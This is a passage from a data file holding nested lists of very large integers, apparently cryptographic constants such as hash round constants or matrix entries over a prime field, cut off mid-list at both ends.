88180184833293473573878446081471541220406396044724375943590672707338317335059, 34272795952164771718770645979011006814036184437679257560826509667677514380528, 84162399558185138097869962757253789276471983339635924535036463139801147659911, 70737681829565218198114226828408244004021896859873612030611834131517156713842, 58454640454691173031115413066616475632570912645493930819325516999374536904130, 70603735272080018210796673024092331617861025664049028833881409761874884238644, 39882967152779307780892171379591557168866900364889524762426617329188994785561, 105635126978202790533244349143627076922213899713046197182933653475427433471636, 12815507266372129814654608368578105562747119274884622141449933480531051618539, 25295199395800947323519798217002735337323135968130199143594035744226581196642, 99770858280908951943121632007269221556341728213156718646843281956392042471130, 8009274906326028067886536711152031272277912768916471172900020132121554676013], [6266627222441509627984347187265032778875295615540069878687063066678902300177, 83126502708975783667776193021239135657865117209627559947878479819896945269349, 98919425206857020666402590827464987255772067044436134614021555023234703382692, 65020405966339634594336162167375063332097033493248787994795156397916990719300, 822642766709766462602985966778355612586385639261348327290159972519296015450, 24799554141597389926642936710763634984345128527210720095112439428813213312429, 9230327583182259302636380466055963183691556596069724955584020191325945261246, 115083372461469466800904149150725103097417968654213542339562361408039833426615, 8827970497944130122955019009798638739225845422772334272470921809671652330831, 47697641752619940172946845822104244615951938996214991252696479918972555469581, 96439842290859673890310393225318782749100263551922975526739017581696189945150, 80271797556878434376321451951433165059128394034709072763981293857292871430185, 38588307176893817706637803104874099510618083918691775224305166694660524225737, 50575553071688199547844282529285561570546825489180570114814936814679056485558, 109265875223647870472561390578685326221870155089926637814014371162948162371528, 5480517564304959324316030075966466782457358345063733039205667431100643360457, 65064642137342421399899580350571516553112846692125868966799555715662905857255, 68134888166822272819436539347915477125608660474771028102192171053548966136129, 107403454541418310461411124344776851199782853088416246229229013287172148628211, 19219083489529794792697861351518239336744212002942242234278429376127772828272, 55040868852133035094812226279803778461285926834569008174992088974803773159748, 19960848147585426963595069589246334529119510748629688307827104033397045671125, 34103272694086448364451102897454033260335224183588759675595082150926597137302, 3737267580001143668608549096262646092783312307085750279443081009699501039020, 80359832913001764091356932872532161551761082572368139412966659134339767551255, 113059596182939297637768189824205143940875773918057442935471356096901144504484, 84212265459538931356032118715223535730556315737147406941145230384330120438087, 91926480716395533508855622994563950748244539554115987800250433299603961112390, 98307036694849353703703653320023959795617768252395205275856116891450989005311, 96899409671140633553432197457744946872404364693701304981183943190042572978861, 95613470653975453062035208622895860793287809107200838976965438919976847081904, 61154005496660092486180612419260846071003623313467808682106695004623370713074, 58352615364864286204946860698654171914271574060330528878773456610376826918392, 82669246227851285389125111689479188416117317502184415488911764486489617695455, 104484683050274216068187842420782574287459427648757012561649360063806822145247, 10010892433033254504087377861991849160379800810526540492075552771270285489314, 114453998058037491056894278597177284982606017499710756084040498030470111288772, 38754636988294713258553728547177108528176241115846063477244844719968220874295, 49146273205568862963665832998435908857330838272898648982491279403705701682370, 41734483067500436606550153171045007558222112581008195712975433454495747884931, 2864485431506901905920333648099380645199941551677815516120038117623744868560, 47694947836363718783678866962374323891206335490106956548333108650682832129628, 28705138045170029797821017584687617762958035359694415273902216174840714033307, 42218120542173544057510040368013140548880005271823942750981231351334429251227], [93936539834391230535078404629010542274243998036691800227987279199943401340359, 72895193098251800427665140103919446439051781405076870247112212045794017844660, 114088641577550490062891903198194292412454319205497134611535854568262147094687, 51260855383403326323338343727132571937901216632726492163576888406699430867347, 107612151033102143812890883499011718901084473088934575328314860078892389521171, 8545880195300259465254648942584259639287585102552966598685984789311030360937, 36084144323095532011679251813080421697516884306290528306140501398202878553335, 18519196650511934287886682255764407672885359589483258037674943384519249224797, 78776051650273236297638316514170880145667038923781373875655395898517970520929, 13407391993413337637341603957414306058352971884564629456790613697402987686773, 12777482946277977517053640692540229123533091447861152191164658737270478197049, 1021859629194751912127959725886255685666185122184190608174231633534360978713, 45460054823988280913495645967708448403509843617007980315390036365768649809904, 105664632793249768168724495676969522752572861077173275702911765044687667506944, 108554654619498924432769234921111387689298291973526484469793862998460307828787, 10674457083176173465230607691846454474297481337598931726640567111965727862905, 45810788528498129201058174683573050587483802830326403179661001014475033774311, 29738905752321692950139062589000826518266414530684353249442589335202357711871, 35393742040388873755152663888009681752169135880398771327613740896046498405635, 91283979655594198505029998245872755840669510934473647108605041750167496514280, 2929945793396899316058194601117829523037919411714498127674041246135985493863, 16682817830634350830727697728086207159279533404739373146757815722771227800536, 105122084086214701082148560422474574647428134646281641646369651829113853667921, 42450057084615430844393833197320828102602824132007224495271536655352539887798, 18827460363289394727919386389781666667019057887853825279554160318624489644724, 96737042892933428015274867596539977484519013926286930680071717840493298752698, 28556474756841682853147302922958912233130216202157593639946563158852839968474, 19180104042644332626373288881832063931008071901514665348979003400890765439031, 21238188354706012445167474089042349459751410998621343947327223539064315837622, 98020679234998266736339302526571757833284499081686722214081250037300033913260, 70445007851222967616974462506163718317396202734259179484714578100543122146113, 44444611922045520156579031522750991648261979405495140761955816561120812350805, 113667379779153093732784067567446969200576323291475666744208782926317668516647, 63282651132804325458473908418246774118910323208240283188095713705707268837603, 16712899414991355444514856877346977160338327538183092488464913310399455122954, 41387136370132143362070196588275056805599052722683907428628836410496805007501, 106891882910329161787280114007318418293781726713642030186169602065488866234628, 102817577825330509842304632720411732408728127400132285588147225768115932547708, 60624559577830100784635341321144764007765856357517338197577884850969450508733, 18188279721225033000978750638988575588578491893467860333313030647507177651311, 74339376533988484084050629763634815819026877592869252280924897006090438427650, 8117400633343579070092178326639292867661838684143078211755351514194750060395, 16793282059372209875986469462896403363287852467672249276876872908078058510369, 17094623097309033041746511613949643699646220537158972220902524422125008980664], [96918007156216488843024153640383557848870921667391376309320644832645069992816, 20961672867819543586213744383630578368221239306323035480999447735525490654683, 1848166914657038435368989716715336027954076628424978748491458204817588239346, 84245986230553604496118551022250747339770581999832288543617057728586546145744, 85092843668413935451745543338483313423642106936068691692611801116386901231901, 101368849802801025411161697041886681100154701328701789111706299587158465586337, 115133144924698973932249205199035813969160258186824121695017306671861129922136, 22752231340236878322519468939884261493294798086567872940068384427506157779496, 1942545773721668258506339510181151716679948886811700335823181565603343293876, 14677068580698466695662263230775781094707338286048081240030208299333886572542, 91485094144102322918187572745470599505438166182058960687056735824949795979835, 102192073108500527586516711755670395280062332530994140394827911966791640963344, 25252588457321732611945342074018211352813958615173476265049493438117910560528, 73353222746272370506793845716373450713595239738335341864021788966983704266693, 104661207571719465075350441506852876953103782660399097399798698016210043645651, 70663637363312935438822973236496300354808060467804679964517540746307484520373, 14945835720966797905434661108774029352819669897582031034328240700230405885485, 115105501541509170730478151721551410254053597578977383247099616206762622415835, 113702539867373688550639350659160286308955878721919501958192838524327040883291, 20462366154597339982637917102482990903323412252607774961720645062581407873162, 10390164653014841009362710528954249145280990688924609340652288429671626177996, 9344270357895129465416223952361424979674426476622195658270692845637253287622, 115358396927615076894846761991393182596956942903546942732526060812143024462858, 27905484445356018917263210884537983452176867604267752068329857224215075440857, 69270641322939367899400688788338913445187478803417543442224125160117148256962, 63796426642294286512484335548490398303120436612793083443727294967090683490627, 52620909241167492000852673094619454986240247707706208952976506429209643194438, 115736609939414329495567923493836127371126997838392537480214645196567157634553, 10594009477508785829054290891143005849342536167193982030349339694164215569179, 10727824841803166260001648660411704828187207354421548161140224166552205751136, 62278542994678361365229590831245900941739118725775271181330541044673103044900, 22739600504878911749155108426515527667565020883585785975427724858995680573112, 54722280881139950299934329179081522976597408143264400198263584385791694908173, 57720324754771383194357759744755811130907996026475678240560490076750048627677, 78925107027450831640355871951523460590610169686459653681922958421784294122176, 53168697337781232164949849285091578495504146782868865060818430727625138560529, 51876454668754831346028275163858015442819160708217644565364075925878045019917, 14755583528191322571407890281012385660233276141560966165724058108567671027365, 99282706467134976490784648665870301490403831465984809207898785553862732387868, 77575404872036977049315822140884121802958214436019415237153624655520834215660, 15696695984413681520763178415904918822933762108058056734040340419241544628373, 105288290285278729682815270377277632309871242687561390442856042690625156721710, 95030143835059704802043803982995549395196771317671462647478811379833777367832, 44923361075777017432883324428016549588336908367240999586795817379075214986459], [65956102570313273958177045262101160416699412473802210915632331440949943948071, 103454980720253637992913895482747992239493270310660753771653570811806526476444, 66768993069760806170434170554871446452233617748326660931130498651850339975547, 36529162901417547011977328919716407496006867722787910092859987069149329537033, 76828293713856699198557783587114194090772947065586737412937492537904326613094, 10126823028326875731549713989948904514201832531523866089965201275104853557515, 102897000320791691359174466658702262257385911169761967803720234807791668188595, 79798830601605705683298676814058010692876844353145598815440548597669389863389, 98069340444284007947515483270630554639223024544471892927773949244204810486209, 7856222550348634216059557055463218696923643179072816784150139627383951038606, 21255399956714628959529198254051738548042091443001581616390306230105911012297, 76674155415263367126697794904401338531425002665145983858500100899555223035022, 114623970023465959848054588535271340290827330441294031969367807128151592701601, 101080513422221044052904876986871449686430412473828007732435311273057462586404, 56048419205969347518801984963803249283342319169392506329373985719178259724197, 37080753454417970384229507408164569920506882193433501367226179498554245472528, 15997574351048871141110271725954054178298879787377715692625488016043482645640, 32805643202320032127425038318216636862950709727886577664897547513449413036711, 107318745961813848347103780484658279937179992386931586967531837123795409603038, 108754853263929668025047167813295681647524963582458534791490026427314010666538, 61882723661148999998951330625567093866742509741123693409994930513831994025884, 35079835566881236150605401542997466957369832270156308000430830297190477978553, 23290869830471174456410706025240605952076568338892231885713670146351092556183, 45986831264533412991831479715207383901404464731003844245609978426024748433542, 26111032718773340906084608357047844384315692460305562179829920500728407607045, 60996036751814686950188395651665842022593024281730156763331865556611110476976, 113812234447484622621196060186634934757644691041581398557245208555511010975872, 97740691695241536380768050682321148710579470517171099003524982213479683841236, 11585195731709784496075215728432052358951912914843223164616822772443316493765, 81678681486965967102618249426288910650343371891647144700822294519349685466332, 50897373891068200226984583990968478245706693487331418566330000369608413205811, 20724629489960524890121938425136685696011112196034907144543544370118806953296, 52518937066857371487570957061540198787151252493082687091451234562121412971899, 77239841684116550316429060850875023496937803496774828863333265590139083371574, 52348404695970490789182598329127927540381220408921552189440172876939932410808, 16515982095322947891710767431420016114119191958297186469106620080556895317913, 80979025205506617923076830668365779754124676099063321480073536683296952841417, 60582115301145790104414459172523077156243419755384115129008938361550468881750, 30569853408541060580989936952067122870904874985546274768338824234599890080198, 10209022022828089956284711947592506947454702206227034087877251834743375929900, 80607829159245257939920752722564687718790409758536907857005468914766736629511, 46982074444052109618978809010925939348408125524092493717711582338845301499828, 78762134139975918418923248939671164684498551990760261285116575257077424742031, 109669828462755705598590925428436939963492712290123267871428916307339415415623], [55456799697315690857151412628586498830532818471711134385661884762492544826394, 93558871385094138085074585215790977586366201159054008465129704478666635794444, 104349587845665779313291577271576220590429519109375505131920778429396081579224, 72913046218969239129762996680288340530673042809874175021415129200805801677507, 50640560488999507458432162738495484336510131165268813811984929372380138040427, 24519840682076237282909378874105895731640361858963623692412388481982447705062, 87341884427936427181538791553847179064504117606876746279336374914444944499103, 24179671989891957557403707846588555838705001879454079423764180295701159613444, 14576024178749638139173577321431683702328684271417374571283884643040049688377, 64306760462406312545232060525024345739174830768511533045136085133094545738629, 103556475541905838448291760553099866567235627796790504517568795682849873794740, 9799501000389377962046878002021353864028041110052615867809909927952968346261, 37469400389025883040482025427710137648942380930276425629892259091520475730417, 86459276748383739666138630699531826035976593088826754744683687093689778056566, 91617257626200912832141520159922769664814130288857491050820897982063679305579, 47191929740990157727561736718345010956503612081256654960423321860344007963233, 73010826692148392228510480419967061191749690743815138820534562895998547468648, 109390590411816100389462416660104975220782651663867133927724577594548022956268, 12786856168892145498111543049100493994677971791078549718968838919542544814543, 62672435251812708033179850996006140207976836018192423550397317515695413507351, 67667770879613248642433883243325335366262579616158892405825833503165138542879, 42572762140676407015111827817865121450441293947036515441027895419256953536414, 115271726870354479086612431035407923593232774933923581402548877050079679650620, 59686603783579980429719085367885667146721564323527366944823734125921026712546, 81004224960759855971147288094608910251220898462927241528979694618168074547441, 70535335919866650103282465223973285964396018690784128380464852878929693641569, 76683382181250985510228201256219193823670121749398547977870716050542782083035, 20033398048696287431509181990575692087443575304308445279836277019918328377519, 77533165614920192542566375370240623864589764678264257215687034120480481354365, 97077759736735796771142684862122618311793539125005621846892744236870144211735, 61527625828108348145715156475227593935638247294899770971777850400820487654863, 48205319219441820175582745887783756817974558235506293277793792919544426474266, 23257708368204824144911336656515613157097759720402277762508157608332644540900, 1303393873183395498630089690545823532697728639454198271589534338940975364081, 38463956065215126366495100003674279809543565973383465261296060348722466305192, 56714059437824395514238529573491270776402593326831549330202762532368780161862, 102942741293120645217292805791566716122455562517820239966927825078844899629733, 39973617782804443856811849145485172905811168715832372464194618787047062328448, 49006836138783478222558609704915913457830752573024750124509294364468454801628, 83343890909984162983324731046942511841363009584004341594538025342742362596834, 86363921049778788256767706989324493776464099659414023934311059967370413987637, 104835736849749104975542943598831206887208104449400901020885811617258962091479, 106961662826139443947619515601672006994247856189383241182363366258215623487175, 12405385948936223367824629943915150473412973256203675191599195473981813474815], [75882746921740126643932365894282133922912311234536294255830206002391453282507, 60293880530199136405954747319999938547814483096471490891551139257584207597476, 108662635907242791874162245922078599019418086341200126268071173903009861600007, 67877620918343436422177203801124204589698594492659662205024504615146323734392, 58325894133445946730549006223049212266863031709842257046163860526060021844878, 58456688366475579209345224717067974111275428759861500519075993141783043791214, 64991035012734904021033044554241481070901714411648139172289984678644413948919, 42838659640152108890682228713269887017580035496994040951504976043245880136285, 15623270669292895381572887683732994428823380977869139546142844765102779014113, 21540869323570653488365655445117322278379187269290415401710139650060243290789, 86037723419545674516803040405468512132706792159671035402857151847908542266047, 73939128758982438362895021184448987423214757102094310583318294301856851802041, 102158826185100737603309249774051634983843356865498070779858727159245835996666, 79620744551694567130982774329889699850515768545685459513304329654537332324776, 55319589309863138354495696331710795419621016642522506184544648078229358815427, 28619185076873691812718361718082801276318858939380009675677900743597006503214, 53594791732230211297595623025570359416491096224168540924643551387645403925464, 54656517721033367596903035552962544491243605836802195258545848661503917159254, 24561549684116687902959807456959668149103633719073090889189795209494110496361, 52986407675846714031852907331674837124173807667829233798331457008886052383028, 111257428168246699792110702875467774851852982831593482882798820378136404435738, 59281714811229143727767194991188975582441682232062174346719388198966587479291, 63449638631724809068084534563069081357294761739710912276647546757437118423881, 9133734880799624109501837476173342799706615446586720784930136516802170203439, 52619640505762658179328292453436661703421741442915279320447096672897898605060, 37166008087807371409519974387613724261640205052729438127617887257426766410181, 7595120499873907846531564420732510673960429956094270418482518305528467959514, 89293804480923128508110803496543017386753431797879198250340042053953171753712, 94926804503585222368830520032393950322842023640793705898730096019508288214114, 100558761440738342500370320272863064527424396449387406875557463232450640819639, 29112589242848080285137726987671355052751383453212963724761929573607875970124, 79801152317796810506231789503954800773213617971258069961492092299043518491660, 30488606698570658773780960759393792254048518674210859640657482851344135840043, 58184945167498748282839287343491359037407794981547764302407749028784311477864, 88177837557795919898927380231656467305987975932293074855365409321670255580528, 21049442384920829985672415706897587150350585642337266234017596272404124820573, 96647262330878005116745793851670473947594309150269263069606646115416145204869, 29881198570589284723344397552199498520119742048010279405080962042139905605172, 36125818297216509890337718511643312544139724421862879574727457440986977459424, 33070471820205087216043363944534480790062011816387255196887914499047772834927, 27443199776638339679687800079596865210346060619631859240503779989606785721444, 23188177693894304349379415793232343963952353788817555561816814755311480330385, 115592446929879361869152323997316895831390293634152031775672736443955381864727, 105455769364849876087676125938101445118019935283840677672012058050859520897284], [55930775355592883008954479952460732027202957316535832969784013318189303543618, 46169349040008451044245804949829301072588277689187659937578445619499598139698, 107066347707238858683462239456637679351797436377935862777561421873084193537498, 98942604457347859088975014678190367580522933468834299843878870652774118314508, 10661270685054687843092770407426605255927225692527356800229411409048937689624, 48648263971211032007282782543901372669438785189533266420857811201110873267430, 95511038910625267717636364150051645350846468873759853840016110655041577938496, 468677195843597265949276577087828930899993216773282709640402443943806197869, 36320699995932053511022109664106167270828827887802504069900117801828132054737, 40270021821877736352910242359645773790569083588709499906040557939193350329057, 7038805907759887472050866121028986607555721278531083454293329155245423718436, 114152394882945072740918994827629438294642588587519415559016166150223247422071, 55468051756642340635943068012867763275917288380515526543752129514392498027358, 110339430250339563273851938652303137756744880176105041187076507117640684371195, 51864694817921282202910627098193629388971437047932128814629241881546413796673, 107941756418413161519147387610321080199098939373677425666274151277929933704275, 16230190639361345747411022314661079618736068645674672486934035869472169938132, 18629470317306643209302699783185986608916059938321161497628990264242391147756, 82826185520435934167048277047804199715689021533673894824734448885614469550498, 43668088391793412345359161810476388558209242252838635904032083915629324451991, 68488167504923676198239265106668408021449201820997979052123459669343785255901, 28146181001344098774120253096699780585298651504788855323312524509050240556995, 97801657102899585025382145811000882216164089150749868364223719394620370466085, 35077470117390922484050242427332043416276842340751789226662369513017667826143, 46552800165519575095145798622534523242348806491915576421824942411890697397771, 30857156907300329631670655567350925769220562913432163346581747133307418909626, 14789031647390219646321912414406945654265408267243496898486777513351840840864, 37170284638334634189133701070187591346793617321534631928139950713468119571979, 66646575462421440612964170702667400059070520832755071674775644780897674710983, 9037449870112169546410670012848962685526846525615439733339515173937035259432, 108523323726590340891955882138176855693949330916368536947778055583677891288226, 65580959109372124869685234285713438825663927517418537378087066475146224538809, 4313958816940572662840077789925106673292744491154608097227613453460615907581, 49153028692449759110198808441052698778234183012624879968348049409570779130934, 113241905812640532998009970721065568642449760735399189839447285645982962538801, 5908895249183789924357125627374171053817706971106045113760415267173543323712, 111911991496793268973257678261761755557165133349330562115705543183094752447269, 106982812425842683618273619098331525917515184137847443591569303120480754021343, 91927926763970434297551824156471819292805628799004880162399865186272177517025, 35424976794327526345431974401256485185048225377363825056154415581266660253636, 108107598740256695492233914558759234505638100278237132748324381038788996450780, 75863969959390047293567920236172627055184153539889863421311101730200374525230, 111459937234192583115137355665610111568231411538630959007382117191394515984687, 14565954441537423948992466864324499352391589416254878445888606606827848669466], [37834498833196954017039698836750042934817158394782763151738998780071437263176, 108450217020179386547630852923892285461771731992249499211788355042530456709184, 112956260651172699233328189377643710476492007228038310459477269751657224331758, 74586355868079292371013488931500905919994806397826386309142622141409617341245, 25004790794297396601639163697521511728853938339699655773370710504935640847691, 111576544910273738753824990639902122337629219920150117300038430821180169832056, 94462519784100418146059201142404676005565218634742082144567435816286466451269, 61771964754843926523509260666097616838400530354516231074124547711782220368387, 72780768428993552507243646847212460165569342019145401089168197557484916804644, 24431287782380589141006669190225092031774189457662970151505613374228108616024, 26033927670041760499354978846725579899182350770405331162726738351305681162695, 88743000463468340630741300372491678915559054002332611354044718482311457666663, 23699109303531389635849671010757702917557898230716065978776362091534777817217, 106482995530036416350957712198362735205433742306912708270423369152568559346067, 95337028407071010348426562379993649607003042740512707865208812345058935035592, 84496218614136837016574431490769641434228312531987350026895145265271549482738, 25315004913991125113895121307484606392465736889452794796574115904681432353612, 113285339800359695153031236290610865582585006391223662624432856512341449882309, 68901169224793860919684692880882025962103361540835986744477630750313949703073, 11967361686840457677242517849807294235722306096709574455150487545526795915699, 34768635331475516958362549825840936569823993968996994336028604316868228427275, 106748959229355030632496472340170403491807897223287937934886508768136222040944, 62865564720548465602594857678510790991850828741440803042871875956994885855733, 50709416831525572777296131588002697567438009090838779243982139469709067368161, 85698694534722150584013134608306356474179150217996373569218361718477680655635, 42054129353138414889901695731466766613228422707852896769421526118724714803620, 58582156614638963893918345836283770596995741722147740222215237566688443299597, 35943613539710594412325399801486252774998776715043379880558886083492536975796, 59489187084950690308996223597203368057800399513256769957994611278800803340216, 80026634365430777727107470535315487509335687794385922902606162283758760569583, 32164981404710342627179692699333206620422311000850679027191169329071314917733, 53753685356844282332744351235236288031880372206057320903475410987908354324206, 57082530304098036518452733768987214584875483910031600113398272954362022408352, 43581504169478716119115604166662718587199167411270004071491532541356672962428, 7236559741731383982664041386063215082952373962784248826530705744820567685895, 49468511335562524016986711459132158864937934395948710475408829062694113278015, 80143257220358813531797965332156204352652063290010541115867618966245800810257, 99726960921112457580202467286008946085313749288668422811563932319402215094472, 60922116526557187052599326281397147367146860302002330953076377627140888911386, 51645874906268651127908835372294370698988337877278348153290013118583405161276, 64058586524211055311102271650636686794585224715457888528677047898225166179675, 22921182537877267087963600769096329999993536779061385160089720040573856067800, 112293628721493033343544485896163989563451780039052460948808697314729376038357, 101350899633281044572690293094098519593020733446243692012165453185483385524181], [55208692463472640944667128485023096357652137680357051536219025831504701668145, 58567998678807850725539409889387842014206442384897402015229372276782400760332, 70050896979984781723256357467862453805717434192604990745793363546692768777415, 94935721004727420463106753893670144894271537501566387151025428042422336683783, 97777584806928490898854567158125043665367326513524049827133783183092326974604, 114001886856800616724292855713145015100104866122986893457556216531338716085360, 83715494440106718289028265871617250900998063936743094713302478210784821735651, 19393602583404970294780185478492091731048928047950594418659366492271718441092, 113426269351081422599188200489017661520509342508552210409279726031198939550893, 43680750582097089111771241993939797509997845762203177345031131638540983526174, 79005505387561793341730777620915285258426838678873143389797302793916573237079, 86115611473620410172575604981535599494655689142277821736026612450474817508189, 111529697216886204436344375336708364424974507358329121004283841053193490730978, 89860344945098704033036240604044836284396625915647001894694986206632252324333, 69066611211586231523690299498723351435525847792241070502111461442751048492594, 62233236610894856247531762095766394807779578889695923314690525005243265151241, 22854103844304951468399933008430858685861646002695207771301806942510815530913, 15713645086111906167559279169940950596053252502048213750094242941706690609875, 93556235710042180227706229632783749854940725906986059497913294076699094395766, 80524717709303384075686364051728361988281744435357647839459811391954808341298, 10257158679812917283508181939921581590319508194473345390998042879090781609231, 22453627609711172560183958784097345908440297798111983624821934356243529732221, 56515537298794837569397762627918767916448951189315576072827880664425884856258, 82976187139040455971563026588494054155451585630706320545594010178163614584771, 22486692906799995352992194904615450184389221724296851087638996042363033517122, 84004537855962717964290466969727069574045299951619311965300733680368206996156, 22535032390812183004828460314362613191218636761845102838000508048322647795323, 79517689412051092250749600234440449765861036101799632880283192168959744593504, 39512810229036964494678308517057916805385734179836841854592756964009579596368, 69096010512957020013069772167380308241518558526531188449047872068162573160259, 69308347854080524843112495803437152518578154980101645511974862952264373713034, 56551583226429354496452801253173854597083789182056778710053082146520075870472, 104680497150212188920708929271822272673079904913582512503320562275244095158366, 16769240863593319853218162777222038024347639039993627803237938942228745187139, 72695804628808456390106348068679161887271697934453223874178914224610899382882, 85566299019786106996570464346826809518651962202415484522967741701616083019846, 25007327440152730711609255345431873963586192503054212348553949283462146604560, 11627781194324577265861855691537615667463394052936594220661391155173089370569, 72709350061006401048186286918710689249454029778476706502454511657259868116403, 7536958132798153376847206842020192503247192163243922252195174789921764552889, 33105249794204502178450036412337567194262388717195768959372594261627458748601, 24535732492849160609747146109937771162944290899458126290484813504965013330156, 109610566159080831776169249889730688921056261717729014338254863893645109112563, 5484651444520727026730033085620477933377338851028720759612597136048899995177], [98008256907335792867610905506469378270021857247590667318299430154029855558952, 61476417247245785842583333200174745918788703998916083688294810118932369186510, 33245245933547928371166903783508958394948320463339406864482008380293817260114, 6591190288591858172625184568979599920165438777450970280870879170893337235536, 5677193466491973896871320427862148556130883539420490924076609802619651141397, 44818519241871119003794875390465705048887859305265524224348965041023228788377, 57877183361901734647588967193349448273891573057855949608658713529631356628542, 15771320342644138285590714470128441853530382302546931885281100883766327137196, 7557779318297068733960951155651779036970984503327308284861854968559738019388, 33113498163879898578385291108037564252049774644208062723236956083558068783480, 66885423669167607945032614356999270665436114530293606827312504362528644607879, 2061211311658999974984943939927952590748061711590422981613266533429846091479, 46079202020125525955688180780437545397008463895520397936085324446395641184001, 27558322041666019291205242418364812927662991284054824602456334728954207753336, 51336158043722858860872163560120811333304729380582018304131846564763642862531, 51350593464242156902092200981046811093147351621675730123173671927100789139064, 74987673764517712747312205288977350183525941022720038220825187190752991847283, 45957833556931574691422742230347720044409615762102602431243483970499391877927, 17309894636177985099144883632512912243886233599498054189818672534114189687877, 73814878960888502065417741899782004824587826667273537441274476448573027203709, 9809719364480098307856060138624524767849403001412256185690316855847868097769, 30071916635768018481105976101932584060286292269173172245098264651137707647861, 28021987132896313305055744746631479539312923089117259060836512110300381264594, 49754357281384915692481762562801307854857633555603565839949402037741826824929, 19463909108050038036539248081708247010531658614162276108684045771734929279278, 74014047372312145195998652781569433648139296900494863838004352360827847349122, 36601351597428569978742009300973641915746610306449906093881461954935049292150, 44377620512700964937759897196160593408470084223469910299630002515279619122066, 3943623255994302504433547057141665296847576037198046300391550379415770076281, 103415860503966286043112214502740697118494892278740335178234992267918618416862, 97462449052348740060439138112152480656697742518353964707552346311112863786444, 77304065859796866507893693278194518499432041343373437763699397001518502711957, 41283253248643453722851759586678968928401427128905300004746978858460428164682, 96269182495669130430943630782676937203494687536286179957307119236050676533042, 48163447005531534466232743294936815104760698518066249906247782526750415205265, 111213159539455649158816824571442898993466901165083496096745388916457660842574, 31732101314910153969070112991960017782209722985906291158992442873078529246673, 44997306283186758607084799321749259403381518598884089473381985118123766330699, 96100021972615280018041817082361901026203960446915674263530821571153669865566, 3339406307731247103550714805012891214524595725781225224086549889780957105947, 25939496544702865677181267032066881748118583530531111601547596747130974556107, 25601923909750288586929232518052251048266681722182166145976512995260248920088, 52768639964091182838859105711914711398218024976261547428822454849317258613160, 25126675065619217896588799599419348741101302279643634025325183220079948893763], [92828009518000642829040830398020807946579758176875401469284047998869374669386, 49285740359024593333184015734968449646127379172170732883885249414213565691299, 48181688437667051595623006191091219524826864707782598342870819947308993097488, 16242699478399640646238393108307056322862283884910717912203410721095349508917, 67240373787341376266562696286432518628891225068008627176532291260827040943655, 66218957226243085721695774428577380921996683584481432596304010559668393357215, 61020466429931801145889954738248795117978115608485132838077843566348650774203, 79325455740062842661616608830807279458124330993336548849456169420972060809385, 90541649671934173468601758977043641587744010357401919495186209005898461389596, 43741912572523135576225484837548587842901772779032341668871045603868834723068, 2830221833963951429436561491755072669822558220717917450211531785042339844250, 55410630261168476984214224814500590242454953930887127097487108682472131857168, 35076472605580856426488283780398635508883193815080053837796069938287201677046, 34642693859711349129804395714605715334340028400181611952943803179907226159383, 8706241769690785226942279041761445355887129013688480451540845942442670027948, 104845806997704930286439480864875629307519756326781154344947212723401384087181, 78960191920074866095196452705394133340837117148417772704384348270119724635836, 109703601380921993776194992818543692964602796646085103969261811506259701988428, 11515158796140971531715066140554480546430564974026539682726863542994759651610, 9681907918163419203927862384818497195663033144220208075980976766258572448861, 27075397331380795780791919285103531137861801430663051218806105527924268833867, 7039835936396347519535102780958138523065684443911113330742153998274153055293, 104305102627368060538013632919736893005896008327212219388746151413193368514392, 27423138021731383191223262475189060753081834705595348142452960175592738087741, 38800804010560405752554457719079029353687154739929520434924947506782717963589, 22169553457383070803864593624547060835254757487302223238082616155733165239134, 109224799506185444856804888204138913011068957119823152732590867276340132873327, 70897177353165032173019153297911356793239289630622265096077945063244670228815, 110902710903834102371393624099431366299081545824110760167748617405600157122134, 108044798920094494975513537952601332766415689496897802679036734002416934924320, 47043664079399644858642773936769712767362699916893564412042129496279289321167, 112354775259013076910044996968052493144414389344005412253649726656815472064644, 58368658003959004900699713724187724608146344502708166131039049880282664527624, 85428538507057990109144419537372540805153708119012444230618297578975228357256, 50524983611809324367692424489266163083220944811751671167832197905085708855273, 69121449193466070632882019925120498947117835585992781096706393098118506892688, 89348710699065384253019273754010721576007623571914706996451973410862555374044, 9402461040427617472715590592335365831937844055031435534950843902421475126400, 3034991275440810268701222363531246072102026275255108058311097413471114577276, 43405341768942345364405060381824165571287910063608057796315573173828572792832, 37307565929882550871911402848809727889132653803757581597646941247032997538579, 74300091494253568170872992218861256826983443657058257912440159390063453022529, 67753338429084851317131263162748820290425482044334271451009997664665387783236, 39871766940906458509042157176449521314506289485480902890320566983303854406868], [52003326677315246975675176724992982073679676576069291633457300855588566155803, 80268093241586053672931988468516213084364615695646391299156651292751116979719, 110603061617282625925640852605713845779204608104157494770328218472267544964768, 37999300715568695546697120050309321895782794654962108561208764060297873635041, 81442078996160278519652765921441775613075244985645259944062654105426963180699, 87472259721873327589371403704762265726102702802808319881946922147168616830655, 59473762910121209202522155050043336633299612282797986205602476094956597222261, 13281840441509862642073380980718144620173705360625354189194786737462905162161, 103941138496822279520453383691553863277578615989164358262110191078774473214921, 107392864577080120297171235166048072375200203701969630168057379191265927311937, 90867394184089838222047264581512561360404198190851304594280836023097012892000, 1886075380755976270161592452010904964536313497005979891986819430304607094731, 37404270966054512928003513914944994280667330337225960827300707438534233445965, 48964051043607522211531995686030164571349981696205125741544850638007147288601, 78578331304686829654447006900544672809834047818529435609929931805827510001285, 8095843736029095825458047853361154848359067626595108947901817056194844614780, 70168750801201627889312107566766603144929646784451581275202642243810632794104, 49255305057274855783314093683565864018588994006017856726521020237447218595891, 41340295164047635105017599946398978742973106414542802287829124506370187855206, 114479246190501511292446900239179256601524626909012157086580580487080236949582, 67723411777136672939886593668886456873316434680758438962067242877942639609083, 23419056490434159201884955259555466109937595237440105175637069108088469169258, 85859453856627299011079351741139453103652251087518205027404075987749580934460, 4435957205586838374813175341536898733035706991650131584059692295620821150370, 78636005450849065027945066876240739128608795940271714308370038293654087672141, 53168062363390598376563585481481982853393046663693020290888307713970117229421, 53781697062367236221621273936401451163419633667340437125337188725685427422381, 114392666193735634380750896565376569859747157007280473051852600086494317589749, 101605136642444480778884448554133753060174410740008093124441713883972140314770, 53448993921458475116581156790103710685273978861885946216237449583745194100316, 82351252932118020935884559764797174430739557461730709359300912232564864573229, 40719796466764340363757620761991502639445480734184279339970063564598243926446, 31495329023052594764682263752547155596310684527033368028361855628154493573756, 111211608582592921151775124178252713883664283672416829035410761779505737508926, 5430167775474723224047333070546802799847857290281570111606511703717066879221, 8302070707110959501032120918321461214928210164719947929888445798571065344269, 106029147613158639776082374302320592861095158465313930607662570936216475929219, 49181180155606889287005311879000558404058535371463561224042336978565768732509, 57637857318682629067332312232666641806756370013643925111716686408237310368909, 